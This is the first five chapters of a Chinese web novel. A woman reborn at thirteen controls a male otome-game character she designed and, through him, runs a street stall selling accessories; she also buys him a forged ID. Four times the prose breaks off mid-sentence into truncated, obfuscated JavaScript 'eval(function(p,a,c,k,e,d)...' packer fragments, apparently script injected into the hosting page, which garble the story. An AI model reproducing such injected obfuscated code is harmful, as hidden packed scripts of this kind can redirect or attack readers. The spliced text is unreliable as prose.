《带着乙游男主马甲重回十三岁》 1. 第 1 章 炎炎夏日。 苏尧叼着一根菠萝冰棒，沉默地走过小巷，路边小卖部老板的女儿低低窃笑一声，“你看，苏家那个被爸妈嫌弃的孤儿！” 在店门口付款买烟的路人惊诧地看了她一眼，上下打量，目光怜悯。 “好可怜哦，爸妈都还在，就是不要你，”小卖部老板的女儿染了一头时髦的黄发，大波浪垂到肩头，衬得一双三角眼也有几分俏丽了，“连打工都不愿意带你一块，上初中了都没有家长陪读，真惨！” 这是相当沉闷、叫人不快，且记忆犹新的旧日往事。 苏尧嚼着冰棒，舌尖涌动丝丝甘甜，凉意让她在这个久违的盛夏没那么难熬了。她面无表情地瞪了那个黄毛女孩一眼，恶声恶气地回：“死八婆！” 小卖部老板探出头来，语气不佳：“你冲我女儿凶什么凶呢？” 苏尧：“你要不要问问她刚才不干不净说了点什么！” 黄毛女孩有父母做靠山，更是得意洋洋：“我说什么了啊？难道不是事实吗？” 小卖部老板向来以和为贵，奈何出了个性格跋扈的女儿，时常和人发生争执。苏尧曾经羡慕过黄毛，她人很刻薄，惹人生厌，成绩不好，但她爸妈仍然爱她，总是护着她，哪怕后来没考上大学，早早结婚生子，他俩无怨无悔地替她带孩子——一个普世意义上算不得是乖巧的孩子，也是有父母深深爱着的。 苏尧的爸妈从不给她太多关爱。 从小学三年级到高中三年，她一直都是一个人生活。 只有每个月打来的生活费，代表父母对她还算是在乎。 街坊邻居们明面上怜悯地说她摊上了个不负责任的爸妈，不忘夸她她省心乖巧，读书很好……但背地里，也有不少人如黄毛，阴阳怪气，做长舌妇，说她是“新时代的孤儿”“明明父母双全可偏偏不要她”“一定是她太不讨人喜欢了”…… 总之，不是什么好话。 十三岁的苏尧会为这些过往痛苦，辗转反侧，难以入睡。 成年了的，猝死后重生到二十年前的苏尧不会。 她平静地想，她一点也不觉得这样有什么不好。 尤其是，在自己重生后带回了工作上的‘角色人物卡’后。父母不在家，她才有更多可发挥、可利用的空间。不然，她的那些“可操纵人物实体”该住在哪？ 小卖部老板：“乖女，你刚才说了什么？” 黄毛撇着嘴，小声对父亲说了几句，老板脸上不算好看，他确实不希望女儿老是到处树靶子，苏家小姑娘真挺无辜。但没办法，谁让他是她爸呢？于是，理所应当地站在女儿这边，义正言辞：“小孩子家家说点胡闹话，你还当真了不成。” 苏尧并不意外他会这样维护女儿。 索性，她也说：“哦，是胡闹话，我说的也是啊。没必要当真。” 她定定地瞧着黄毛那张涂抹得乱七八糟的脸，咧出一个笑容：“你粉底打得好丑。” 黄毛面色青白交织，她迅速从兜里拿了只镜子，嘴里不干不净道：“你懂个屁的粉底，我这叫潮流！” 她越看越觉得镜子中的自己粉底古怪，斑驳掉色，心里烦闷，更认定挑明了这点的苏尧真烦人——这个比自己小了三岁的小丫头，靠着一个光鲜亮丽的成绩单，被不少街坊邻居称赞是“好孩子”，连爸妈不愿意管她的孤儿事实都成了能夸赞她乖巧懂事的点儿。 黄毛烦死她了。上个月，她还从第一小学门口路过，看到她的名字赫然印在六年级毕业生优秀榜上，更是气不打一处来。 一个没爸没妈没人疼的小丫头，有什么值得她爸妈夸的？她摸着斑驳的粉底，又瞪了身旁老爸一眼。 苏尧嚼完冰棍，她看着黄毛使劲儿摸着自己脱妆的部分，心里松快了些，脚步轻松，临走前又撂下一段刺人的话：“听说你中考没考好？准备复读？” “既然要复读，这头发又得染回黑的吧？” 复读学校绝不允许学生乱染头发，破坏纪律。 黄毛阴晴不定，她爸愣了一愣，想起这茬：“乐乐，苏家小丫头说的没错，你上次要染头跟你妈说没这回事，真的假的？快开学了，赶紧把黄头发染回去吧。” 黄毛炸了。 她顶着个臭脸，翻白眼，“你听她胡说八道呢！她又还没上初中，哪里晓得初中生能做什么不能做什么？” 小卖部老板：“她成绩那么好，一中提前把她定进优班，肯定知道初中是怎么个回事……” “爸你老夸她什么意思？这么喜欢她，干脆让苏尧当你女儿算了！” 尖利的青春期争吵与中年男人疲惫的应对声，让人心情愉悦。 苏尧嘴角挂笑，大步离开，走向小巷深处，她的家里。 …… 一成不变的家，苏尧住了十多年，直到上大学离开这座城市。 父母在外省打工，没有功夫回来住。逢年过节，他们只匆匆赶回住上一周，然后奔波在其他城市的工地里挣钱。 十三岁的苏尧体谅父母的不容易，会在他们回来时将房间收拾得干干净净，希望他们留下多住一段时间……当然，她的希望从来没有实现过。 也许她注定没有什么父母亲缘，苏尧百般无聊地想。不到100平的房子里，两间卧室一间厨房，再加一个不大不小的院子。她推开房门，看到了“钟和熹”。英俊男人肩宽胸厚，在清理院子里的杂物架，拿着水管，将地面刷洗得干干净净，这种体力活，按以往，13岁的自己得干好半天，累得气喘如牛。 放在成年男性身上，半小时就能解决，效果还比她自己干得还好。 跟随苏尧重生而来的游戏角色人物卡，每天能以实体化的方式出现在现实中数个小时。 起初，苏尧以为自己是眼花，又或者是得了癔症：不然，谁家好人闭上眼时，脑子里会出现猝死前正在策划的游戏角色呢？ 苏尧独立开发负责的乙游，性格各异的可攻略男主，分别以卡面的方式出现在她的脑海中。为首的那一张，是男主1号“钟和熹”，显示可用状态，时长为3小时。 其余三张角色卡，暂时处于冷却灰色状态。 苏尧还没掌握如何使用另外三张的技巧。她怀疑需要某些触发条件。 出于好奇，她在重生回十三岁后，选定了卡面，将角色“实体化”到现实中。 下一秒。 一个英俊男人就这样出现在她家中。 ‘钟和熹’，她一手塑造的虚拟游戏角色，顶着那张眉目锋锐的俊脸，安静沉稳地凝视着她，像个无声无息的人偶娃娃，没有真实的灵魂。直到，苏尧出于好奇，碰了碰他。 意识交汇，掌控躯体。 苏尧获取了‘钟和熹’的所有掌控权，她脑中得到一个清晰的意识：这是完完全全属于她的东西。相当于世界上的另一个自己。 全新奇妙的体验，让苏尧在重生回来的当天，忽略了不久后就要开学的烦心事。 她在家里试着利用了新躯体，以成年男人的身高擦了家里太高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏尧很平静，她的心情淡漠得有点吓人，她不再像小时候那样，逐字逐句地分析爸妈是不是真的爱她，困扰于家人带来的焦虑与内耗中，她说：“我是小孩，你不给我钱，我难不成要去外头讨饭吗？” 顿了顿，语气象征性地软了软。 “你们是大人，我不找你们，找谁呢？” 母亲哑然。她被她的话怼得有点不知如何回应，最后，干巴巴说：“你脾气大了哈，要上初中了，翅膀硬了是不是？” 苏尧没说上辈子的自己真的很体谅父母，心疼两百块的二手自行车钱，愣是靠着自己步行三年，熬过春夏秋冬。 老天爷给她重生的机会，不是让她重回13岁，再吃一次苦的。 苏尧：“行吗？我要买自行车。” 母亲妥协了：“买二手的，别买新的！省点钱！” 电话末了，没有13岁的苏尧最期待的父母关爱留言，她听着母亲抱怨般对一旁的丈夫说：“你女儿钻钱眼里了，一点也吃不得苦……走路上学还不肯呢，非要骑自行车。” 父亲说了什么，苏尧没去听。 她挂断电话，决定趁着‘钟和熹’人物卡还有使用时长，去二手市场买一辆合适的自行车。 成年人款，适合一米八七的男性，后座还能载个人。 苏尧看着镜子里的‘自己’，英俊成年人的下巴上冒出胡茬，她用手指摸了摸，刺挠。她皱了皱眉毛，心想，除了自行车，恐怕还要再买点成年男人的日用品。 2. 第 2 章 给‘钟和熹’准备成年人需要的日用品。 剃须刀、剃须膏…… 至于其他，譬如合适的内衣裤、换洗衣物，在重生回来时，苏尧快刀斩乱麻地买好了。 “人物卡”以实体出现时，身上只穿有游戏基础设定的西装——在当下，价值相当昂贵的西装，私人定制，剪裁得当，垂坠感十足。苏尧摸过材质，不是小县城能轻易买到的款式，她猜测，这个年代，只有一二线城市才有类似的西装布料。 西装款式是二十年后较为时髦的新式样。 穿这一身出门太过显眼，苏尧把西装脱了，放进衣柜里收纳起来。 ‘钟和熹’是苏尧策划设定的乙游男主之一，她构思时还没有加入职业背景，只定下了基础外貌、性格。当然，乙游可攻略男主拥有的天赋点样样不少：体力好、器大活好……诸如此类。 苏尧并不需要动用到乙游男主的所有天赋。 她暂时只需要‘钟和熹’帮主身体做家务，提前做好饭菜，上街出门购物，不会被商贩用“年纪小”糊弄，故意开高价卖物。 13岁的未成年人独立生活有多辛苦呢？ 苏尧已经记得不太清楚了。 人类是奇妙的生物，会为了好好活下去，大脑刻意的遗忘掉一些有害、有毒的记忆，保护好内心，让她不会在生活的间隙里因闪回，陷入情绪泥沼，无法挣脱。 苏尧只隐隐约约记个大概：13岁时，自己还不到一米六，每天都很忙，时间像是水一样从手掌缝隙漏下。早上五点起床，急匆匆吃完早餐，步行去上学；中午留在学校吃食堂，趴在课桌上小憩一下，下午上课，结束一天的课程后，在月光下踏着沉重的步伐回家…… 没有家长照顾的孩子总是不那么洁净的。 苏尧成绩很好。这是事实，后来她确实靠着好成绩上了不错的大学。街坊邻居们都夸她省心懂事，学习顶呱呱。可惜，学习成绩再好，同学们也不会喜欢和脏兮兮的同学玩。 苏尧爸妈不在家，母亲从没有教过她该怎么打扮自己。在最青涩懵懂的年龄里，她需要早晨步行5公里到校，天气再热一些，走得一身薄汗，那味道确实不怎么讨人喜欢。 苏尧撑着脸，盯着不远处的自己发呆——成年男性有着一张好皮相，低垂眉眼时，凛然的英俊如刀刃脱鞘而出。八月尾声，南方小县城依旧燥热，她给自己穿了一身非常普通、百搭的男士短袖、长裤。附近批发市场买的，一件45，三件99元。她一次打包买了六件，讲价到150元。 材质绝对没有原生自带的西装好，但这廉价布料并不影响成年男性的皮相，硬是将普通衣物衬得蓬荜生辉。 苏尧并不算太适应成年男人的躯体。她成年以后只有一米六五的身高，而人物卡‘钟和熹’足足有一米八七，个高腿长，手的握持力远超同龄人，能够很轻松地将主身体抱起。 以接近一米九的视野来观察世界、体验生活，是一种全然不同的感受。 在批发市场买东西时，服装店女老板以为‘他’不懂行，是个外地来的年轻人，咧着嘴笑眯眯，要卖英俊小伙子一件衣服两百块。 苏尧立刻用方言开口，平静地报出附近居民都晓得的市场价，还不忘利用长相不错的优势，和老板套近乎，央她再便宜一些。 该说不说，长得好看的人就是有优势。 再借口要给自家小妹妹买几件合身的衣服，男装女装一块买，各三件、三件，六件150到手。 换做是主身体来买…… 苏尧想，其实，她要是朝老板说点可怜话，诉诉苦，说自己爸妈不在家，生活费只有小几百的事实。心软的女老板是会以成本价卖给她的。 可是，脸皮薄的青春期，哪有那么轻易就能说出自己的窘境呢？ 13岁的苏尧，灰扑扑得像是一只不被关爱的丑小鸭，很少有新衣服穿。一年四季，总爱穿着学校发的校服，沉默寡言，在班级的角落里抱着书读。 那真是好辛苦的年纪啊。 苏尧怅然想。 ‘钟和熹’的时长只剩下30分钟。 她恋恋不舍地将他收了回去——说实话，看着一个成年人就这样消失在眼皮子底下，还挺惊悚的，有种仿佛身在恐怖游戏里的错觉。 闭了闭眼，脑海里的‘钟和熹’人物卡封面，显示今日剩余时长30分钟。零点过后，时间刷新。 苏尧一般不会特别早地使用完人物卡的每日时长。 她晓得未成年女孩独立生活有多少麻烦处，一个能够保护自己的成年男性身份，可以给她更多安全感——唯一的问题，是苏尧暂时还不知道如何给自己的男性躯体获取合法合理的社会身份。 好在小巷附近有办jia证的，苏尧拿着父母转来的生活费，给‘钟和熹’办了一张只要不被查，现实生活中能够用上的证件。 她隐隐有预感，‘钟和熹’的社会身份不会困扰她太久。 只要不是沾惹了什么刑事案件，必须要出具身份证的场合，她都可以大胆地使用男性躯体。 至于未来出行，能不能坐高铁、乘飞机…… 苏尧想，这都太远了。 桥到船头自然直。说不定哪天，事情自然而然地就解决了。 她心态很好，目前的要紧事儿，还是先处理好几天后的开学—— 苏尧不想像上辈子那样，带着一身臭汗走进教室，被老师安排在同班女同学身边，然后，被女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏尧闭了闭眼，她知道将来二十年，房地产会迎来急速上涨与冷却，人工智能、机器人等新兴行业的旺盛发展……她甚至还知道哪些股票值得购入，在何时抛出最为划算…… 然而，以上一切，都建立在她有本钱的基础上。 13岁，未成年，初中生。 想这些不切实际的，不如脚踏实地，去做点小生意，先挣一点钱。 苏尧盯着人物卡上那一张英俊、富有魅力的脸。 她下定决心：还是出卖“色相”比较靠谱。就这么干了！ 3. 第 3 章 乙游角色的基础外貌设定，足够普通人看得目不转睛。 钟和熹有着一张太过出色的好脸，眼睫浓密，瞳孔漆黑，鼻梁高挺，抬眸望人时，总有种迫人的凛然与奇异的冷淡。放在将来，毋庸置疑，是会被称为“性冷淡”的s系冷白皮帅哥。 他有一双多情又冷漠的桃花眼，灿灿日光下，浓密眼睫边缘染上浅浅金光。 现在，英俊大帅哥正在操心着调整新购入的二手自行车后座，以便能载得下身高不过160cm的未成年。 距离九月一日，初中部开学还剩下四天。 ‘人物卡’每天可用时长3小时，苏尧必须争分夺秒地使用，确保每一分钟都能有效利用上，她看着家里铮亮整洁的布置，眼馋其他三张还处于灰色、无法使用状态的人物卡，轻轻叹气，想，也不知道什么时候能解锁这三张。家里多几个成年人，是多好的助手啊。 她可以安排一个做饭，一个收拾家务，一个晚上陪睡（天冷的时候，电热水袋总是过几小时就凉了），一个…… 苏尧暂时放下脑中的念头，她知道事情不能强求，就像她不知道老天爷为什么优待她，给她一次重生的机会，还带回了她一手策划尚未开服的乙游角色人物卡。 想不通，那就不想了。 活在当下才是最重要的。 苏尧数着从atm机取出的生活费剩余，整钞加碎票，一共剩下二百八十元。 生活费700元，撇去办jia证的200元，买衣服的钱150元，她在伙食费上非常节省了。 成年人一天一顿饭，需要碳水充足、蛋白质丰富。她倒是可以“苛待”男性躯体‘钟和熹’，不吃得太好，以此省钱。可这实在没有必要，通过男性躯体感知世界的仍然是她，再怎么样，委屈自己都是不好受的。 苏尧不愿意委屈自己。 因此，一大早，人物卡‘钟和熹’刷新了3小时时长，她就准备着要出门挣钱了。 将自行车后座调整好，坐上。 ‘钟和熹’负责骑上这辆二手自行车，前往附近最大的批发市场，淘一些小物件到傍晚的街边摊售卖——出卖“美色”，先看看能不能在卖货上发挥作用。 人物卡‘钟和熹’可以单独出行，完成时长不超过3小时的事件。但是，为避免时长到期，货物没卖出去，东西没人看管的情况发生，苏尧还是决定带上主身体。 意识分支，一个骑着车，载着人；一个坐在后座，被不那么平稳的路况颠得脑壳疼。 …… 批发市场。 不久前，苏尧刚来过一趟，给自己添新衣服。正好是店面拉帘准备午休的时间段，服装店女老板一边和隔壁店面的同行说着闲话，一边向外张望，倏忽，看到个熟悉的、只要见了一面就很难忘记的大帅哥。 大帅哥领着身边的小妹妹，他穿着她店里的招牌短袖，眉眼平静，将自行车锁在市场旁的榕树下。 女老板“嚯”了一声，眯着眼打量，不知怎的，总觉得这“兄妹俩”长相不那么相似。小女孩个子小小，看着秀气，脸颊上还挂着婴儿肥，杏眼圆滚滚，明亮极了，她左右环顾，像在考虑要去哪个店买东西。 她起了兴致，唤：“帅哥！小美女！” 苏尧应声看去。 服装店女老板笑眯眯地打招呼：“今天又来买东西啊？要不要光顾下我家？我给你算便宜呀！” 苏尧用成年男性的身份，客客气气地做了回应。 “我带妹妹来批发点东西，准备傍晚支摊子卖。” 服装店女老板看着大帅哥毫不避讳地吐露了经济上的困难。他长得好看，说话和气，出乎意料的如沐春风。 ‘钟和熹’长相是凛厉的，虽说有双深情桃花眼，可到底不那么平易近人。上次来买衣服时，女老板就觉得这帅哥有种很微妙的气质，特别像是电视剧里的有钱人——蒙了尘的凤凰，顶着张俊脸，根本就不是这个小县城能有的人嘛。 她怀疑他是外地人，可能还有点小钱，现在电视剧不是最流行了，英俊富二代流落小县城……诸如此类的桥段，女老板在脑里浮想联翩了大半天。 她还想着从年轻人手里挣一笔大的。 没想到帅哥居然是本地人，有一口流利的方言，晓得这批发市场的价位，还央她多便宜些，说自己家里有妹妹，连带着打包，她以成本价高出了点的金额，卖了五六件衣服给他。 女老板卖完也不觉得后悔。说到底，做生意嘛，顾客赏心悦目，嘴巴甜点，只要不赔本卖，那都是挣的。 事后，她和隔壁店主聊了好几回这帅哥主顾，夸这帅哥长得比热播寒剧《秘密花园》的男主玄冰还帅，帅一百倍！ 没想到，今天又碰见了。 女老板来了兴趣：“你们准备批发点什么？” “现在钱可不那么好挣呢，”她倒不是给他俩泼凉水，只是客观陈述事实，“要不你来我店里当店员呢？我给你开工资，一个月两千，多卖多提成。”女老板觉得帅哥的长相够当门面，她店里既卖男装批发又买女装批发，这么一号大帅哥摆在店里，何愁不缺客人？男款上他身，穿得像模特；女的路过总要盯他多瞧几眼……这客流量不就带动了。 倘若不是因为时长限制，苏尧真的挺愿意操纵‘钟和熹’的身份来服装店打工。 很可惜，她没法儿在店里上全天班。 只上三个小时的班，没有哪个店主愿意接受。 现在不比将来，外卖平台发达，注册个骑手就能开着小电驴送外卖挣钱；智能机不够普及的当下，实体店才是人们消费的主要渠道。 所有重生暴富文里，买房都是重生者的必选之一——苏尧记得将来有投资价值的地皮位处哪里，问题是，她得有本钱啊。 苏尧对未来的人生有充足的规划，她会在攒了一部分钱后，为自己买一套合适的房子。不为别的，只为了自己的男性躯体有地方住。住在家里，到底不方便，逢年过节父母回来时，她只能将‘他’收回。 只是短短几日，苏尧就对另一个自己‘钟和熹’产生了不可估量的依赖。她需要身边有人陪伴，一个温暖、可靠的“另一个自己”，理应有足够的生活空间，而不是做个孤零零的“卡牌”意象化在她的脑海里。 …… 思绪纷飞。 女老板看出钟和熹脸上的为难，她笑了笑，好心道：“帅哥，我建议你进一点女孩子用的饰品喔。” 县城里，一元店正是火爆，里头不少低廉好看的女生饰品、化妆品，很是吸睛。苏尧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她说：“可以先进一些卖卖呢？成本低一点，损失也不大嘛！” “我看今天傍晚就很合适，你进点好看的小饰品，往妹妹身上、头上挂挂，”女老板和颜悦色，“你呢，大帅哥，招呼招呼，大家就都往你的摊子上瞧了。” 苏尧认为这个计划可行性很高。 她想了想，谢过女老板——以成年人‘钟和熹’的身份，温声道谢。女老板被低沉悦耳的男声激得脸红，而后不在意地摆了摆手，“等你挣钱了，来我店里买衣裳啊！我还给你算成本价！” 她目送兄妹俩往饰品批发店走去，心情大好。 究其原因，还是看到大帅哥，身心愉悦嘛。 这可是人之常情，无法避免的事。 女老板对自己的建议很有信心。她想，路过的被大帅哥招揽的客人，那妥妥的，十有八九会消费——谁能不被这张俊脸迷得七荤八素呢？ 她不就被大帅哥几句央求，迷得直接给打了大折扣呢？ 六件衣服150元。 她高春花做生意这么多年了，可从没干过六件衣服只比成本价多挣10块钱的单呢！ 4. 第 4 章 说干就干。 苏尧带着剩余的280元生活费，在批发市场找到合适的进货源。 她挑了自己十三四岁时会喜欢的款式：大肠发圈、多层叠戴项链、铆钉颈环……寒剧热播，岛国名宿风影响，许多一元店会进货色彩鲜艳、造型夸张的树脂亚克力饰品。她也买了。 塑料宽发箍，搭配荧光色或豹纹。 蝴蝶结花色发带，宽版设计，泰勒斯威夫斯造型同款。 橡胶腕带，带logo设计的款。 苏尧花了200元，剩余80元做保底，以备卖不出去货时还有几日缓冲空间。 …… 批发市场来来往往不少人，这里地处县郊区，交通不便，租金低廉。县里的小商贩会来这里进货，在成本价的基础上提高一些，售卖给顾客。 苏尧占了自己家距离这儿近的便宜。 骑自行车过来一趟，不到10分钟，挑挑拣拣，买完心仪的摆摊物件，‘钟和熹’人物卡的时间绰绰有余，还剩下近2小时。 再收拾收拾，骑着自行车前往摆摊地点。 从批发店老板那拿货时，顺带买了一块塑料布，用来陈列货品。 自行车锁在了摆摊路边的树下。 一切准备就绪。 暮色夕照，傍晚来临。路边的大台北奶茶店散发出烤淀粉肠、冲泡奶茶的香味，许多年轻人三三两两地涌进店里，捧着奶茶走了出来，他们左右环顾，循着人流开始逛街。 恰逢周末，正是人们有空出门闲逛的时刻。 逛着逛着，一个新摊位落入眼中。 一个非常英俊的大帅哥，一本正经地给面前的小姑娘戴发箍。他的动作很温柔，小姑娘也很乖，用忽闪忽闪的大眼睛瞧着路边走过的人，笑眯眯地揽客：“漂亮姐姐，要买发箍发带吗？我家的款式很适合你！” 说话间，大帅哥用修长手指将小姑娘蓬松乌黑的发梳理，然后，将发箍压了压，完美地落在她的发顶，符合千禧末流风味的靓丽款式，戴在小姑娘头上，一来一回，硬是拉了不少人的注意力。 有年轻女孩大胆地上前，笑嘻嘻地搭话：“小妹妹，你头上的这款还有吗？” “有的。”她响亮回。 路边流动摊位的隐隐烁烁灯光下，钟和熹的轮廓更加好看，让人挪不开眼。 他从摊位上取出各色的发箍，递给女孩瞧。 年轻女孩嘴上搭着话，眼睛一点儿也不肯错开地望着‘钟和熹’。 苏尧能感受到来自女孩的喜爱与迷恋，她对此并不意外——塑造乙游角色时，苏尧将能加给乙游角色外貌上的优点全部叠上。 想要做成一款广受好评的攻略游戏，游戏角色的美貌是不可或缺的基础。 能够满足玩家情感需求的纸片人，势必有过人之处。 ‘人物卡’实体化到现实中，美貌更胜一筹。 苏尧弯了弯嘴角，她没有意识到，这一刻是主身体与男性躯体一同在微笑。 创造者很难不为自己的作品受人喜欢而发自内心的欣喜。 ‘钟和熹’的美貌，是她的荣耀！ 她的笑意很浅，不管是本没打算购物的路人，还是抱着看“大帅哥”目的走来的年轻女孩们，都被这个摊位前的笑容迷住了。 英俊的成年男性低垂眉眼，轻轻弯唇，笑容让他的五官溢出呼之欲出的魅力。 青涩的、脸颊饱满的小姑娘有着一双过目不忘的清亮眼眸，她笑时，鼻子会骄傲地翘起。她身上没有身后英俊成年人具有的性魅力，可这并不意味着她不好看——一个闪闪发光的杏眼小姑娘，是很容易让成年人发自内心生出喜爱之情的。 年轻女孩接着大帅哥递来的发箍，挑了喜欢的花色，不忘对苏尧说：“妹妹，你长得真可爱。” 苏尧甜甜一笑：“谢谢美女姐姐夸奖。” 让路过的客人买下进货的饰品，难度真的不高。 有苏尧揽客，‘钟和熹’微笑地递出商品…… 距离‘钟和熹’人物卡还剩下30分钟时，苏尧扫了一圈摊位上剩余的货物，发现剩得不多了！ 她的摊位和其他摊位的售价基本一致。 有赏心悦目的看板郎，再加上很会招呼路人的小女孩，苏尧的摊位流量比同行得高多了。因此，货物倾销的速度也快很多。 时长不等人。 苏尧开始收摊，大声吆喝，准备大甩卖：自行车是按照成年人的身高来买的，她的主身体骑上去费劲，回程还是让‘钟和熹’来，所以，时长必须要留够。 几个结伴而行，买过铆钉项链、蝴蝶结发带，却迟迟没走，流连很久的年轻女孩们，见状，上前，问：“你们是固定摊位吗？明后天还来吗？” 苏尧想了一想，回：“不是固定摊位，明天会来。”趁着还没开学，先摆摊卖几天。 当然，摆摊并非长久之计，根据售价，获益利润，初步计算今晚只能挣个一百多——这已经算是高利润了。 本金过少，很难办大事。 苏尧还得想其他法子挣钱。 思考之余，苏尧没注意到面前的女孩和身旁的交换了个眼神，很快，她故作不经意地抚摸了一下耳边长发，笑着问苏尧：“妹妹，能不能帮姐姐一个忙？” “告诉姐姐，你哥哥的电话号码，好吗？” 她从兜里掏出一把糖果，塞到苏尧手里。 小孩子会喜欢的糖果，满满当当一大把。结伴而行的女性同伴还眨巴眨巴眼，笑嘻嘻说：“可以的话，姐姐再给你买奶茶喝！” 大台北奶茶散发出馋人的甜美滋味，吸引着路过的孩童，抓着爸妈的手央求要喝。 苏尧已经过了喜欢喝奶茶的年纪，况且……她真的没有电话。 苏家只有一个座机，苏尧还是上了高中才拥有父母不用的二手机。 年轻女孩索要电话，试图勇敢追爱，是非常正常的行为。然而，她确实不知道该怎么办才好。不管是以“男性躯体”被人索要电话，还是以小妹妹的身份拒绝，都是一件有难度的事。 最终，苏尧两眼一闭一睁，回：“姐姐，我……我们没有手机。” 她差点说漏嘴。急急忙忙将主语换成正确的词，用真诚的眼神望着年轻女孩。 年轻女孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏尧满脑子念头，最后，实在忍不住，在路人的注视下，她飞快地将手伸到一旁，用手指迅速地抓了两下‘英俊男人’的手臂。 瘙痒终于停止。 直到动作结束，苏尧倏忽意识到，她并不是用‘钟和熹’的手指抓挠‘钟和熹’手臂上被蚊虫叮咬的痕迹。 而是用更年轻的主身体完成这一切。 默契十足，无需任何言语，便灵犀一点通的人类。 这动作流畅做出，犹如无声地阐述了这一对相依为命，以至于太过熟悉彼此的“兄妹”的联络有多深刻……太过自然，十分亲昵。 她抿紧嘴唇，悄悄地抬头看距离她最近的年轻女孩们，想看看她们脸上的神情，会不会觉得她古怪奇葩。 什么都没有。 年轻女孩还沉浸在今天逛街遇到了个大帅哥的心动中，她只来得及用余光看到方才发生的动作，快速掠过一个念头： 哇，这对颜值很高的哥哥妹妹感情很好啊。 5. 第 5 章 苏尧给自己买了瓶花露水。 必备夏日单品，混杂着清新而独特的香味。 买到手，还没到家，她迅速给自己抹了点，感到凉爽覆盖在红肿的蚊虫叮咬处，松了口气。 有些人天生就是吸引蚊子，只要ta在，旁的人都不会被咬到。现在正是如此，主身体一点都不为蚊子困扰，男性躯体‘钟和熹’倒是被结结实实地咬了好几下。 苏尧苦恼地皱起脸。 回程需要十多分钟。 花露水起了效果，痒意不再困扰她，路况跌宕，坐在自行车后座颠来颠去。成年人的精力依然充沛，未成年人的却没那么好了。 苏尧双手搂紧‘钟和熹’的腰，将脸贴在后腰处，她摸到‘人物卡’与正常人类完全一致的体温与皮肤触感。 夜晚，自行车窜过大街小巷，成年人手臂上的花露水气味顺着风钻进鼻腔，带来昏昏欲睡的困意。 意识双线并行。 苏尧惊讶地感受到主身体的疲乏，男性躯体的振奋。这很矛盾。奇异的安全感让她放下所有防备，搂着自己，闭上眼，决定在回程十几分钟里浅浅小憩。 小巷路口小卖部还没关门，有人在买烟，要老板拿一包双喜。 黄乐乐一脸晦气地顶着刚染回来的黑直发，手臂撑在柜台上，嘟嘟囔囔地和她爸抱怨：“我这头才刚染了两月！” “非让我染回来，”她还没看够自己大波浪黄毛的美丽，就被爸妈拉着去理发店折腾回“乖学生”的样，一想到这，黄乐乐气得直咬牙，她向她爹撒泼：“我不管，你报销上次的染头钱。再给我一百，明天我要去逛街买衣服。” 小卖部老板唉声叹气，给老顾客递去新进的烟，收了钱，转头应闺女：“行，行，都听你的。” 黄乐乐心满意足地从她爸手里要到了零花钱，正准备回店铺楼上的房间睡觉。她无意抬了抬眸，看到小巷路口钻进一辆二手自行车——老旧街区的路灯时隐时灭，只来得及看到一张熟悉的脸，苏尧坐在后座，一副昏昏欲睡的样子，搂着身前骑车的男人。 男的没看出年龄，只能辨出个子很高，肩膀很宽。 自行车一闪而过，钻进漆黑的悠长的巷尾深处。 嚯！ 黄乐乐八卦心起！ 她转动眼，一边看她爸收拾柜台现金，准备落下卷帘门收店，一边想： 苏尧坐的谁的车？她爸妈回来了？不可能！ 黄乐乐心道，她爹妈上回返工，回工地时来她家店买了点袋装方便面在火车上吃，说到家里小孩，还说他们今年准备在工地干满一年呢。 她爸妈倒是同情心泛滥，心疼苏家小孩，还说他们不在家，苏尧该怎么办。小孩子一个人生活好辛苦的。 苏尧爸妈挺不在意，说她自己会管好自己，小学不也是这样过来嘛。10岁时可以一个人生活，怎么13岁就不行了？长了3岁是吃白饭的啊？ 黄乐乐认为骑自行车的成年人绝不可能是苏尧的爸妈，她第一时间否决。 而后，她的嘴角翘起古怪的笑意，哼哼几声：肯定是谈恋爱了。 她要不要和爸妈说呢？老爸老妈天天嘴上夸苏尧听话懂事，没想到她爸妈刚去工地没几天，就勾搭了个男的…… 啧啧啧。 黄乐乐幸灾乐祸。 她脸上的表情一会儿高兴一会儿激动，她爸点好现金，记了记账，扭头看到闺女，“乖女，不去睡啊？” 黄乐乐决定将今晚的发现藏在心里，她要等到证据更确凿时宣布给爸妈：哈哈，你们挂嘴边的“乖小孩苏尧”，其实根本不乖！ 她得意地哼着歌，上楼去了。 小卖部老板盯着闺女的背影，想不通她刚才满脸的神情变化。他摇了摇头，又点了柜台里的几十块零钞，准备明天给黄乐乐逛街时买奶茶吃。 …… ‘人物卡’时长卡还剩下3分钟时，苏尧忽地清醒过来了。 她拖着半干的头发，拿着电吹风机，依依不舍地将‘钟和熹’收了回去。 花露水摆在床头，电风扇开了一挡，薄被准备好了。 凉席的边缘磨出了毛边，一米五宽的床，足够躺下一个自己。 苏尧太困了，只简单收拾了一下摆摊挣的钱和剩余货品，潦草地冲了个澡。期间，‘钟和熹’收回一次，用以最大化地节省时长。然后，在她非常困、不想举着电吹风吹头发时出现，消耗掉5分钟的时长。 还剩3分钟的时长，是以防万一的。 